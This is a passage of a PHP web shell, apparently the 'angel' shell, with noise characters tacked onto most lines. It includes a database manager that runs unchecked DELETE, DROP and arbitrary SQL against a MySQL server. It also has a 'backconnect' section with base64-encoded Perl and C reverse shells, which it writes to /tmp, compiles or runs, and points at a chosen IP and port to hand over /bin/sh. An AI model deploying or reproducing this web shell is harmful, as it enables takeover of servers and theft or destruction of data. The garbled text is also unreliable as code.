* i; a( H2 N2 [( x7 S9 H& a - if ($doing == 'del' && $base64) {- |! _0 G* B4 p' J' l
- $where = base64_decode($base64);. @ w/ `: r; r8 Q
- $delete_sql = "DELETE FROM $tablename WHERE $where";
: g3 V0 z% \- A9 x - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
y6 K O `+ F8 k - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());: w# u4 j. ?4 `$ l3 b
- }6 ~ n( |0 P2 H$ b2 ^- q @# C
- 1 E# W$ p, N9 ^% Q
- if ($tablename && $doing == 'drop') {( C; v) Z* m: Q6 b
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
0 \" j1 b' d2 t. c - if (q("DROP TABLE $tablename")) {
, P8 i) o" j: \! [8 l - m('Drop table of success');; B4 h, ]! f2 x( G$ Y" l% O" T& c( g
- $tablename = '';, ~. u4 e2 g i
- } else {
# F! O/ s0 y& L$ ~! i. h/ k - m(mysql_error());
' ~: t6 q0 |# I - }9 I' ~% |& V/ f( \# [ p% J
- }
# L/ x+ K# F; Q% K - + Y- p3 U& m- Y# k* Z
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');) s( L. ]* W# F% K( }
- " K8 N5 E" K6 `% Z$ Q8 X
- formhead(array('title'=>'MYSQL Manager'));/ p% C( N* X9 U* L; v- x1 x
- makehide('action','sqladmin');
) y5 I2 n1 H- Z( q8 b S0 [3 L7 U - p('<p>');" C5 f- H! C# e
- p('DBHost:');4 q8 k" u" S4 `2 _" u- D
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));" \7 X4 u- o) l$ Z5 P' j u
- p(':');2 p- p+ T& _* {: T0 b" F. ]
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));: {9 L/ T7 F% [; [7 E0 J
- p('DBUser:');
% W& o( t* a0 _0 q - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
$ Q J% A/ f! T% u5 a: b) G5 T, [) I - p('DBPass:');' ?0 L( j' b _4 T0 M9 R4 l" i
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));) p) X- Y3 w4 T7 c" w
- p('DBCharset:');; s! p- x | J7 q( X
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
# _* n% t. f. n& {3 f - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));) T7 R7 a# I2 A
- p('</p>');
1 T7 e# q0 r) a8 S! N - formfoot();
3 p0 @" A( a7 B" y - ?>
^8 }. E' V! s u5 W - <script type="text/javascript">
X; g* k/ Y1 ?# O4 u) q3 _ - function editrecord(action, base64, tablename){
+ Q5 q. M8 Z8 G! u; z8 O - if (action == 'del') {
. l+ D8 M& Y" Q+ `: @$ s - if (!confirm('Is or isn\'t deletion record?')) return;5 ]- l+ D' @ p% U* O( R
- }
, F- B6 G5 ~6 h6 `8 D0 d" D& i, j3 k - $('recordlist').doing.value=action;6 m3 X/ p$ d4 ]4 Y
- $('recordlist').base64.value=base64;
1 D, a! O5 l# M4 A% E - $('recordlist').tablename.value=tablename; J, _* G5 K$ ]. g
- $('recordlist').submit();! U5 |1 R* u/ `) J1 s q% W
- }
* O/ o9 Q, `3 B$ @, w9 s+ T- J, }6 N - function moddbname(dbname) {
0 n7 d" N' M5 e& {; D* s+ W - if(!dbname) return;' I- y. \, T+ ^+ I( P1 w8 }" c
- $('setdbname').dbname.value=dbname;) n# a2 @% x0 k; G# Z$ n
- $('setdbname').submit();- X% V7 Q. }6 Z* Z6 F, {! j
- }
5 {2 n g, {* c& o: ^4 ~ - function settable(tablename,doing,page) {' I0 s6 }4 [/ s' |5 S4 F
- if(!tablename) return;
( X6 f# e. R- L - if (doing) {
1 }$ c* W3 N" Q7 R - $('settable').doing.value=doing;
8 S/ x4 M2 T( k - }
9 L% b% G2 ?8 S - if (page) {2 S: a6 j7 k) d% A4 K" G! S
- $('settable').page.value=page;% a. e! [* B S5 J: ]
- }$ M3 d2 O5 W2 A$ @1 w/ b
- $('settable').tablename.value=tablename;
4 Y( P1 `: d+ F2 @! U+ e - $('settable').submit();
- ^' S5 S; {4 S, f K - }% A' p, Y0 @; x3 d% F
- </script>9 H8 v" Y$ _: K& o$ r, P
- <?php& U; C0 Z/ P. }% Q: S, e
- //操作记录
- o1 W* {; Y8 R5 k - formhead(array('name'=>'recordlist'));9 w6 R3 `5 ~ |1 m0 t# k3 ^: d' b
- makehide('doing');
6 F! Y/ ?4 ~3 F. f - makehide('action','sqladmin');
( T" @" t0 J: A5 G8 P - makehide('base64');
& G! B1 O n) c1 r2 I4 I - makehide('tablename');2 E- O/ M% D& M% l0 i) O6 n
- p($dbform);
5 y# L" h! ]4 o. G - formfoot();
+ f2 ]( n2 K0 m" Y1 y2 ~4 o; P4 ?8 D) a - //选定数据库: E S" ~! K; j" x
- formhead(array('name'=>'setdbname'));' }. C( X- @8 d% G" z9 o+ l
- makehide('action','sqladmin');/ B6 N/ |2 V2 @" U" ~) \) H: b& Q
- p($dbform);' _2 Z1 d& s h$ c6 M I
- if (!$dbname) {
/ H% t6 F: w8 x4 p - makehide('dbname');! G! e# y' W; H7 b, q
- }: F, e9 s3 Y/ o8 ~* Z( t. F
- formfoot();; y5 R" F4 i' L9 z( o' \# F; l
- //选定表
& M( B' U9 Y2 z9 h* O. b" f - formhead(array('name'=>'settable'));
& B+ Z- ?- F5 x( T; S6 x - makehide('action','sqladmin');2 I: i7 b2 g. z0 w2 N$ v
- p($dbform);4 O o5 A+ g8 S H4 _& D
- makehide('tablename');
) [" N# R8 N1 U" W; C& y - makehide('page',$page);
7 U1 @6 ], ~( W: h# N* r# M - makehide('doing');! s4 ]# U) A- s/ b" X
- formfoot();. |& f/ q1 t x. y* X9 R4 J! _
- $cachetables = array();
( T# C+ o# D& [1 z4 D! }$ y5 ? - $pagenum = 30;6 v* f! m. S2 |5 w4 i
- $page = intval($page);
' Z7 U* f2 l1 T4 {9 q0 Q - if($page) {
9 C5 C& I$ |) i: `( j, x2 L - $start_limit = ($page - 1) * $pagenum;7 t( y, a$ [% q: U& Y
- } else {
; g( H8 p5 m" ^* W - $start_limit = 0;
$ b) g+ n5 y1 m+ x; J$ Y - $page = 1;
, T2 j" K7 ~3 q9 B& f- P& V! M7 a - }
# [: M2 G$ o4 U( X Q0 [( ~ - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
6 z: N% C$ Q. G* B. y& G - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
C9 O8 a3 G' g7 H, Q; d - //获取数据库信息
- X' O0 l2 \) `2 k6 W% ]- _ - $mysqlver = mysql_get_server_info();' C) r V/ j! K
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');* y) f1 _% E/ O: Q+ U
- $highver = $mysqlver > '4.1' ? 1 : 0;
5 P& p6 _5 V, A& Z - //获取数据库8 q' k9 F# X: {5 {" g2 b
- $query = q("SHOW DATABASES");
* o7 h2 H7 @, l3 |4 }3 b3 \ - $dbs = array();
. _8 h9 ]; b+ \/ y - $dbs[] = '-- Select a database --';) K& v$ G" N: c4 W% v; ~- t
- while($db = mysql_fetch_array($query)) {
- F; y( v* B" J% }' Z+ M, k - $dbs[$db['Database']] = $db['Database'];
9 O, B C8 t' t! }- s7 N! S - }
1 q/ W4 v2 M V" g1 [0 y5 y1 N - makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));; _9 f, j0 w+ F& |% q
- $tabledb = array();! v; u9 I9 R6 V
- if ($dbname) {
+ N c+ l" Q* D8 `8 y: e3 t - p('<p>');( B6 b4 K6 u1 v- ^
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
. N# c Q4 A5 ~6 _ - if ($tablename) {( r5 y1 h1 g: L" n5 m4 Q! R
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
k! E0 j6 j& Q$ R - }
; @4 z: x5 ?9 X) Q5 L6 B - p('</p>');/ |- S# n. r" Z
- mysql_select_db($dbname);
$ h- E8 {! i/ i - $getnumsql = '';" j$ d# r* a& x4 l8 i3 T
- $runquery = 0;
* {# S) U0 g8 o& p b4 s' b3 h - if ($sql_query) {
7 m5 [: n& u5 F. i4 Y - $runquery = 1;; y0 Y" m5 J$ | N( I0 n) l$ P
- }
# K+ W2 R* v9 ]3 E: ^ - $allowedit = 0;
* X0 c3 E/ {4 N7 y8 D - if ($tablename && !$sql_query) {
1 h# R Q4 _+ U Y - $sql_query = "SELECT * FROM $tablename";! o' }6 e1 Q. ]0 B# |+ C; N% L
- $getnumsql = $sql_query;
, y* j$ h" e' |: R0 F0 y6 t - $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
9 B9 j. F, R0 m. k3 B9 L' O - $allowedit = 1;
3 y; p; ~. G& R6 d5 n - }3 d# V4 W0 M. a3 O
- p('<form action="'.$self.'" method="POST">');
$ L) j$ T4 Q2 J/ V- }& {6 s3 R/ U - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
5 v- ~, y) T* e5 [* B9 X) N - makehide('tablename', $tablename);
6 B) S9 A" g, E/ ~3 I; Z( ^+ X - makehide('action','sqladmin'); v# a W8 k' A K: A! Z) X5 {
- p($dbform);3 Y. ~3 K7 s8 n: G( F8 L b }
- p('</form>');2 D$ {, p- K8 Z+ b) d( g
- if ($tablename || ($runquery && $sql_query)) {: I4 Z1 I1 ], J4 f4 F- |8 l
- if ($doing == 'structure') {
7 L' L& ?+ s3 t$ B: t" w4 j - $result = q("SHOW COLUMNS FROM $tablename");6 K" t5 _# q: r% u8 Q ?; j
- $rowdb = array();5 N$ x/ T7 y$ Q$ J1 g
- while($row = mysql_fetch_array($result)) {
/ F, N3 v/ j' Y0 k; z0 _- K - $rowdb[] = $row;- b/ O& h2 D1 g# `* @% k: L
- }
( ]' e+ V9 F/ C - p('<table border="0" cellpadding="3" cellspacing="0">');! x; ^4 x3 R4 v6 I( k1 M
- p('<tr class="head">');1 U7 U( `9 ?$ Z; D
- p('<td>Field</td>');6 n7 T; F1 Q8 _
- p('<td>Type</td>');
3 X3 F) e) t" k& n" J - p('<td>Null</td>');4 H: i1 b' k/ I0 A$ K3 g
- p('<td>Key</td>');
8 c+ z0 c) s+ t; \ - p('<td>Default</td>');; v% C- a* G# m3 D) W
- p('<td>Extra</td>');- z5 T; D. D, w* h |( X
- p('</tr>');1 w7 t* h; Z" \% N7 P. g
- foreach ($rowdb as $row) {$ P& `( c8 I) a$ R: P* n4 R$ F" Q
- $thisbg = bg();) M0 }. r/ q) H# J4 V
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');8 H: x# J! k& V, F; \0 E1 ?
- p('<td>'.$row['Field'].'</td>');
7 p9 v, K+ y, ] d; q L - p('<td>'.$row['Type'].'</td>');$ R" }# [5 l. t! N" c
- p('<td>'.$row['Null'].' </td>');
, w/ n; M9 X/ r' `7 s' U - p('<td>'.$row['Key'].' </td>');5 W4 g. m: q$ ]7 T. c
- p('<td>'.$row['Default'].' </td>');
2 O- f& x: T# ^) o6 n% Y1 | - p('<td>'.$row['Extra'].' </td>');
# P9 l2 X# a$ f( F4 I - p('</tr>');
( `$ d* x" r' T: I, a+ p - }- Q! \$ x# ]8 |% T0 j( z6 T
- tbfoot();. o% X, v, \% c/ i/ I6 E
- } elseif ($doing == 'insert' || $doing == 'edit') {
# K u3 Q- N0 u' a) y* U - $result = q('SHOW COLUMNS FROM '.$tablename);- r# a7 H1 I. ^+ T) ]
- while ($row = mysql_fetch_array($result)) {
3 k6 K( p6 c& l( [' r- ]6 i9 @ - $rowdb[] = $row;
( q9 ~* B- G* ]; q+ H0 g4 C - }0 a. ?0 W+ r4 I4 x/ T& v
- $rs = array();1 h. z3 }% H& K( [' H
- if ($doing == 'insert') {
; U, l, u# Y" f% r6 [$ l4 y. b - p('<h2>Insert new line in '.$tablename.' table »</h2>');
+ r% x; W5 x( b4 l% i* L$ S - } else {8 z1 _1 R K+ D
- p('<h2>Update record in '.$tablename.' table »</h2>');
7 ]! t% w$ ]( c4 m: @/ @: G. [" U - $where = base64_decode($base64);
6 v# I7 \0 L, h# u P; A5 Q - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");- W, H; {8 I! y) f0 o& w3 y8 x
- $rs = mysql_fetch_array($result);
$ W% c/ B! a7 u8 I' [4 Q8 ~ - }$ \" L( m/ j; q; ^7 t
- p('<form method="post" action="'.$self.'">');
2 G U' G: I# a F' c4 c7 n - p($dbform);
) z) `- v7 E! ~* f3 T4 g; H - makehide('action','sqladmin');
% Z" p. [! V, \& v - makehide('tablename',$tablename);) @& v4 [5 P1 q1 n- e* J' m
- p('<table border="0" cellpadding="3" cellspacing="0">');! n! ~" M( l5 n$ ]
- foreach ($rowdb as $row) {0 Z3 \6 `+ _( M0 J
- if ($rs[$row['Field']]) {6 |: u ^2 k& r8 t* Z
- $value = htmlspecialchars($rs[$row['Field']]);; @2 K# T% N; l
- } else {
! l# j0 F5 B T8 j - $value = '';2 B0 \' [/ `$ H R" u
- }% Q; |* W! f, P$ e8 s, p
- $thisbg = bg();
2 A3 ^/ `6 ~2 C% `" P- X7 s - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
& ^# \% @) g- ]: M( F; a8 _ - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
' r7 z4 u! r7 |5 u$ a6 h3 | - }3 \: l" B& L0 B4 O
- if ($doing == 'insert') {' \ G8 Q( O. Y- S' G" S4 P
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');' w, @3 q8 c- d& s; M+ f: W* x" t' H
- } else {
* ]! A' P3 P, K1 G' \ - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');9 ?. x% o+ j/ t9 m6 d [
- makehide('base64', $base64);: b8 f: ^3 ]" A: F0 e
- }
6 C& Q. M% d. V8 ]" q& M7 v# A - p('</table></form>');. A7 L8 c# c# h: w3 I
- } else {- C: S# |8 O# H0 X& H7 F. U
- $querys = @explode(';',$sql_query);; [- u _. R9 z8 m% h5 f& F
- foreach($querys as $num=>$query) {# r) L3 ]+ h5 W' J: T
- if ($query) {( y2 M) t% U1 w5 i4 v
- p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
: y) Z" Z+ K- |) r - switch(qy($query))8 v W$ b# S2 |/ h+ s+ g( x# d
- {9 y$ m1 A8 B/ O! q# a8 w0 l
- case 0:
9 S9 z" v" v0 |3 X - p('<h2>Error : '.mysql_error().'</h2>');6 C$ x/ W( s; s# A# _" q
- break;
i, k- g1 i- |- B2 o5 O k" x( p - case 1:1 j5 L+ B; p* m3 z' N% B3 k
- if (strtolower(substr($query,0,13)) == 'select * from') {
. B6 k0 |: k9 W" @0 T! R - $allowedit = 1;+ f7 ?1 k$ J [6 i
- }. d: P/ o [7 v& R
- if ($getnumsql) {9 u+ B# y3 h0 z6 _& m5 U
- $tatol = mysql_num_rows(q($getnumsql));
- j4 t# C. L# y; B' G - $multipage = multi($tatol, $pagenum, $page, $tablename);
+ n) L+ n3 O$ I5 p3 u4 H: c3 M - }& Q0 q4 \, v V8 w/ G7 b) C
- if (!$tablename) {% [6 f c( A6 C8 Z7 t
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
0 ^) \3 [! F- p0 w' ~; e" D - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
# ~! {# s$ A( W4 i! ] - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);) h* L+ D5 l- w3 ?5 \8 \: I% g
- $tablename = $matches[1][0];
& y: v' Q' `5 j( v$ _ - }0 g; x8 n$ K' K" L
- $result = q($query);9 ?/ O: s9 E9 q1 S7 x
- p($multipage);
$ c; A1 @! L2 s8 [' \ - p('<table border="0" cellpadding="3" cellspacing="0">');
8 t! C: y* p8 u - p('<tr class="head">');
* g4 `" T8 {# A - if ($allowedit) p('<td>Action</td>');' q3 F6 y6 C1 a% D6 M
- $fieldnum = @mysql_num_fields($result);
8 W4 p2 u6 f5 s - for($i=0;$i<$fieldnum;$i++){
4 ~3 f F8 |/ t# ]. T - $name = @mysql_field_name($result, $i);
7 A2 L9 P; l' M3 p3 C - $type = @mysql_field_type($result, $i);
* `0 o" J+ W. E9 N2 P L - $len = @mysql_field_len($result, $i);" v0 k% n: l4 z
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
( I* ~9 p% I) k - }
3 c4 L: `0 B* I9 _" }; `4 x - p('</tr>');% K/ c& V J2 o' R$ t: j
- while($mn = @mysql_fetch_assoc($result)){
& I+ O, c, \. a: {2 @$ I6 ? - $thisbg = bg();
" l+ J& ]3 u7 A/ [' w9 n - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');% T' F# n# p" F9 E
- $where = $tmp = $b1 = '';8 B6 U4 r7 Z; N4 m! B
- foreach($mn as $key=>$inside){
/ F7 g& |7 i5 i& h( t - if ($inside) {
8 b& s+ R4 Q; B+ Z$ I - $where .= $tmp.$key."='".addslashes($inside)."'";4 t$ t4 ]+ c8 y; o9 h) L% J7 p0 C
- $tmp = ' AND ';
3 T$ s! b: N9 Y$ l5 E" A - }& P; e8 c" b3 q( ^
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
3 f4 I: y2 J# t - }6 v, b; t5 {) \ [
- $where = base64_encode($where);
. |# |9 n- L) r/ M3 p. r% L+ ]3 G B - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
) V `3 o4 I8 M j - p($b1);
5 B5 K+ ]6 |% t2 N - p('</tr>');. a( {6 C4 b3 y* P" B
- unset($b1);
" U0 t! K4 ~7 i+ w - }1 m' I6 f8 [/ `& n7 `
- tbfoot();
9 ~8 v- t& O; F. ?3 m9 }4 Q - p($multipage);) J- W$ C! l' Q9 _! ^) d& o$ _ s
- break; $ |8 S! P1 m* Y& P8 z
- case 2:
& I: L0 |, @7 f6 t - $ar = mysql_affected_rows();
/ k( | f% E& c3 u - p('<h2>affected rows : <b>'.$ar.'</b></h2>');! A. R: Y* s1 |. T8 B8 o2 @) T
- break;( {. l9 m0 [" w0 S
- }+ x% L2 o7 A! u! s3 @1 Q" @
- }5 ]; y7 @' Y5 u; A
- }3 w1 K ~2 K6 f& ]+ R. u
- }0 e' d8 O2 U/ c" d- k
- } else {4 a0 z; y* y* x! I# _
- $query = q("SHOW TABLE STATUS");* P8 a! j z3 A
- $table_num = $table_rows = $data_size = 0; i0 U# m; ~) M% t" I8 i1 }, m( {
- $tabledb = array();
3 W$ | p5 V/ ^ - while($table = mysql_fetch_array($query)) {& U0 P4 X! @, i( E) p
- $data_size = $data_size + $table['Data_length'];
! ^. L$ ?. T& R' @! q% t% V - $table_rows = $table_rows + $table['Rows'];
+ h! ?3 O7 }5 e8 H* A" { - $table['Data_length'] = sizecount($table['Data_length']);/ n& |$ M; L# b9 d
- $table_num++;7 ^4 k0 o5 L* e [" E
- $tabledb[] = $table;, G- E5 O" r; ~8 p: x
- }, f w$ l. ~, g; f# g
- $data_size = sizecount($data_size);
& B" }* P' k) L. z; R - unset($table);0 x5 a y. ]3 T% ^+ ^. n
- p('<table border="0" cellpadding="0" cellspacing="0">');. v' I' b0 I& V- |5 f9 N& U
- p('<form action="'.$self.'" method="POST">');8 y# l5 ]# Z% j' c/ }" n
- makehide('action','sqladmin');' y* l( M {7 R' Z
- p($dbform);
% q& t# n. }1 e - p('<tr class="head">');
1 V7 A& L+ m1 c/ D/ f$ Z - p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
# T, f2 }( P/ K( L - p('<td>Name</td>');. ?+ D* L! R; |' F7 @/ S% m# L
- p('<td>Rows</td>');. I: K3 f g( `( K8 V4 p$ c
- p('<td>Data_length</td>');
1 _& J0 Z+ w5 T i6 |8 o - p('<td>Create_time</td>');; e- H" t5 U. y5 t! y# R. J% L
- p('<td>Update_time</td>');
* t% r1 Y+ _, g* g+ q+ V; E - if ($highver) {6 h8 k" F/ G) P5 M3 q
- p('<td>Engine</td>');
! @# q# \ O+ J5 L% a& g - p('<td>Collation</td>');8 {3 @# o% h6 Z- Q' z
- }, G$ H* }1 N+ ^7 j$ X
- p('</tr>');" t+ b7 L$ T) r
- foreach ($tabledb as $key => $table) {
5 `5 h X( A5 N7 @! [ - $thisbg = bg();
* O3 a( o1 d9 c) m# L: c8 A5 ~ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
3 P9 D, T3 K8 A. @" D - p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
* P/ Q/ o/ d! a - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
" ~5 |6 `+ a+ o# x - p('<td>'.$table['Rows'].'</td>');
% q" p2 v& P6 S2 R - p('<td>'.$table['Data_length'].'</td>');2 x$ x! f3 ?; x
- p('<td>'.$table['Create_time'].'</td>');
9 w+ ~2 O, J% ~# s8 Q1 R2 Y - p('<td>'.$table['Update_time'].'</td>');
( r$ V" k7 R& z' l% ? - if ($highver) {# L% X1 S: _6 L, z& k$ q1 N
- p('<td>'.$table['Engine'].'</td>');& g6 X/ w! D* P) u) N
- p('<td>'.$table['Collation'].'</td>');9 p/ f, t1 c6 U b6 N3 w
- }2 v4 s9 J( n* X Q5 S! T# V
- p('</tr>');
" d$ J/ T5 @+ J' ~' Q& f6 P& i - }/ w4 @ |) }; K$ [8 B5 n
- p('<tr class='.bg().'>');
9 J# ^* P$ ?" y1 H% [* v% p - p('<td> </td>');: Z( l6 c# Y. X3 k
- p('<td>Total tables: '.$table_num.'</td>');
4 a) v) N. Y$ r9 O/ ]& o - p('<td>'.$table_rows.'</td>');
' u) y: k7 C' O% ^8 ^ - p('<td>'.$data_size.'</td>'); H$ v0 v2 d' g7 h5 F- J
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
! ]# |8 r; w% c - p('</tr>');! w6 _3 y F1 h- N4 P5 ]! j" e
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");4 H0 {& P4 v3 f. c" U6 k
- makehide('doing','backupmysql');. p$ |) [+ a O0 Z1 A8 Y
- formfoot();
- \4 z( B) T H8 N, h2 Z - p("</table>");; M, h# L8 E% f6 Y! u" A6 O: o
- fr($query);
4 o) O1 Q/ Z3 P' \9 Y - } _" M; E4 t( e7 r; ~& S- C
- }
6 b# z0 s; k' _* R% `# m: a - }
7 \8 s, K) j! a3 M - tbfoot();
2 n7 R" y# l/ |4 Q* Z2 f - @mysql_close();
. M( C# s, Y/ q$ | - }//end sql backup9 x& |5 D7 {* B' g$ E- I2 L% X
- elseif ($action == 'backconnect') {' V# L: k! w" L C2 r
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
3 g0 K* E3 n! |# \ - !$yourport && $yourport = '12345';
- n$ T8 \- e2 P0 t* x - $usedb = array('perl'=>'perl','c'=>'c');
- c: N, M; N: n' [0 P1 B/ W; `* l - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".8 B0 i) ]7 H; c; D* y6 S1 I
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".# Z1 D4 ^* z) i! D
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1 Q; l5 A4 k- V8 ~/ d - "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
$ {& Z& y5 F2 a( y0 Q7 a* t2 A - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".8 Z- I/ k' z0 V' Y: L
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".; X, r1 n* x: i2 o/ K+ p
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$ {" _, P3 [+ G5 T - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".3 h! u2 y% w) @ C
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".* P; J/ t9 A4 I/ z7 F/ ~
- "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
; ]0 @& I+ |, b% K5 Q - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
" }+ Q: @3 v# i- I, E# p1 W7 D& M+ s - "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
Q5 G, k3 E, R) \ e" b5 Y - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1 p# W! f& o8 }7 d' a2 ? - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".% }& z7 j* t6 v1 |! n
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
8 s$ d$ a) l, n1 i4 y5 o3 W - if ($start && $yourip && $yourport && $use){- f, M- L3 C$ t! k+ Y
- if ($use == 'perl') {( Q5 S7 s/ O: k& l0 Q$ p
- cf('/tmp/angel_bc',$back_connect);" y' w& [" k0 A8 J
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");6 f" `- T/ Q P0 P' D
- } else {9 e6 ?3 I+ n6 `1 p/ z; o* c
- cf('/tmp/angel_bc.c',$back_connect_c);' B, h. I8 D, ]0 R4 E* ]
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');. u/ ^( F5 }* C! ]1 w1 x% I7 o
- @unlink('/tmp/angel_bc.c');' }2 F! B- N& X9 v: @
- $res = execute("/tmp/angel_bc $yourip $yourport &");8 g9 C5 ~$ V+ w% X
- }
* y" f- F U9 ?7 I! K- H" Q - m("Now script try connect to $yourip port $yourport ...");
g! M' }, \- d1 j) P. |) e0 Q - }
